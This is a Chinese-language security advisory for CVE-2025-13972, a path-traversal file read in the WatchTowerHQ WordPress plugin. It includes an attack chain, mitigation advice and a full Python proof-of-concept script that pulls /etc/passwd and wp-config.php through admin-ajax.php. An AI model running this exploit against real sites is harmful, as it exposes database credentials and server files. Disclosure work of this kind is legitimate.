IPBUF安全漏洞报告
English
CVE-2025-13972 CVSS 4.9 中危

CVE-2025-13972 WordPress WatchTowerHQ插件任意文件读取漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13972
漏洞类型
任意文件读取
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WatchTowerHQ WordPress Plugin

相关标签

任意文件读取WordPress插件漏洞路径遍历CVE-2025-13972WatchTowerHQ信息泄露认证绕过WordPress安全

漏洞概述

WatchTowerHQ是WordPress平台上一款流行的网站监控和安全插件。然而,该插件在3.16.0及以下所有版本中存在严重的任意文件读取漏洞。漏洞根源在于handle_big_object_download_request函数对wht_download_big_object_origin参数缺乏充分的路径验证和安全过滤。攻击者利用此漏洞可绕过正常的访问控制机制,通过构造特殊的文件路径参数读取服务器上的任意文件。由于该插件通常以高权限运行,攻击者成功利用后可获取WordPress配置文件wp-config.php(包含数据库凭证)、其他插件和主题的敏感配置信息,甚至可能获取服务器系统的敏感文件。此漏洞需要攻击者具备管理员级别的账户以及有效的访问令牌,虽然增加了利用门槛,但一旦攻击者获得相应权限,即可造成严重的信息泄露风险。

技术细节

漏洞存在于WatchTowerHQ插件的Download.php文件第104行附近的handle_big_object_download_request函数中。该函数在处理wht_download_big_object_origin参数时,直接将用户传入的路径传递给文件读取操作,而未进行充分的路径规范化和安全验证。攻击者可利用路径遍历技术(如使用../等相对路径符号)逃逸出预期目录,访问服务器上的任意文件。成功利用需要满足以下条件:(1) 攻击者拥有WordPress站点的管理员级别账户;(2) 攻击者持有有效的访问令牌(可通过管理员权限生成);(3) 攻击者构造恶意的wht_download_big_object_origin参数值。典型的攻击Payload可能包含针对wp-config.php、.htaccess、数据库备份文件等的路径遍历请求。由于插件以Web服务器权限运行,读取的文件内容将通过HTTP响应返回给攻击者。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点管理员级别账户访问权限
STEP 2
步骤2
攻击者生成或获取有效的WatchTowerHQ访问令牌(Access Token)
STEP 3
步骤3
攻击者构造包含路径遍历payload的恶意请求,将wht_download_big_object_origin参数设置为目标文件路径(如../../../../../../../../../etc/passwd)
STEP 4
步骤4
通过wp-admin/admin-ajax.php端点发送POST请求,触发handle_big_object_download_request函数
STEP 5
步骤5
服务器端函数未验证路径合法性,直接读取目标文件并通过HTTP响应返回文件内容
STEP 6
步骤6
攻击者获取敏感文件内容(如wp-config.php包含的数据库凭证、API密钥等)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13972 PoC - WatchTowerHQ Plugin Arbitrary File Read # Requires: Administrator access + valid access token TARGET_URL = "http://target-wordpress-site.com" ACCESS_TOKEN = "your_valid_access_token" ADMIN_COOKIE = "wordpress_admin_cookie_here" def read_arbitrary_file(file_path): """ Attempt to read arbitrary file via WatchTowerHQ plugin vulnerability """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-WH-Access-Token": ACCESS_TOKEN, "Cookie": ADMIN_COOKIE } # Construct malicious payload with path traversal # File path can be: ../../../../../../../../../../../..{target_file} payload = f"action=wht_big_object_download&wht_download_big_object_origin=../../../../../../../../../../../..{file_path}" try: response = requests.post(endpoint, headers=headers, data=payload, timeout=30) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully read: {file_path}") print(f"[+] Content length: {len(response.content)} bytes") return response.content else: print(f"[-] Failed to read: {file_path}") return None except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-13972 WatchTowerHQ Arbitrary File Read PoC") print("=" * 60) # Target files to read targets = [ "etc/passwd", "var/www/html/wp-config.php", "var/www/html/wp-content/debug.log" ] for target in targets: content = read_arbitrary_file(target) if content: print(f"\n[File Content Start]") print(content.decode('utf-8', errors='ignore')[:500]) print(f"[File Content End]\n")

影响范围

WatchTowerHQ Plugin <= 3.16.0 (所有版本)

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:(1) 限制管理员账户数量,确保只有必要人员拥有管理权限;(2) 监控和审查所有admin-ajax.php请求,检测异常的路径遍历模式;(3) 通过Web应用防火墙(WAF)规则阻止包含../序列的wht_download_big_object_origin参数请求;(4) 临时禁用WatchTowerHQ插件直到完成安全更新;(5) 确保WordPress核心、主题和其他插件保持最新状态,防止通过其他途径获取管理员权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表